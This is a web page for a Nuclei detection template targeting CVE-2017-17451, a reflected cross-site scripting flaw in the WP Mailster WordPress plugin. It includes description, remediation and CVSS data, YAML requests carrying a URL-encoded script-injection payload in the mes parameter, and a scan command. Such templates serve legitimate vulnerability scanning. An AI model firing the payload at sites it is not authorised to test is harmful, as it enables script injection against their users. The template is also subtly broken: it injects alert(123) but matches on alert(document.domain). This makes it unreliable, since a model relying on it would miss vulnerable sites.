WordPress Mailster <=1.5.4 - Cross-Site Scripting

ID: CVE-2017-17451

Severity: medium

Author: daffainfo

Tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm,wpmailster

Description

WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.

YAML Source

id: CVE-2017-17451

info:
  name: WordPress Mailster <=1.5.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Mailster plugin (>=1.5.5) which includes a fix for this vulnerability.
  reference:
    - https://wordpress.org/plugins/wp-mailster/#developers
    - https://packetstormsecurity.com/files/145222/WordPress-WP-Mailster-1.5.4.0-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8973
    - https://nvd.nist.gov/vuln/detail/CVE-2017-17451
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-17451
    cwe-id: CWE-79
    epss-score: 0.00178
    epss-percentile: 0.54962
    cpe: cpe:2.3:a:wpmailster:wp_mailster:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpmailster
    product: "wp_mailster"
    framework: wordpress
  tags: cve,cve2017,wordpress,xss,wp-plugin,packetstorm,wpmailster
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-mailster/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'WP Mailster ='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wp-mailster/view/subscription/unsubscribe2.php?mes=%3C%2Fscript%3E%22%3E%3Cscript%3Ealert%28123%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a4bc2d4118a449373b6b42acfd87047517d105710f8a57ab8ae7f8fa854fada202204d0e331f4d4798144901cbd21d815ac2ee2ed6d2819d7079b1b7e4489499361c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-17451.yaml"

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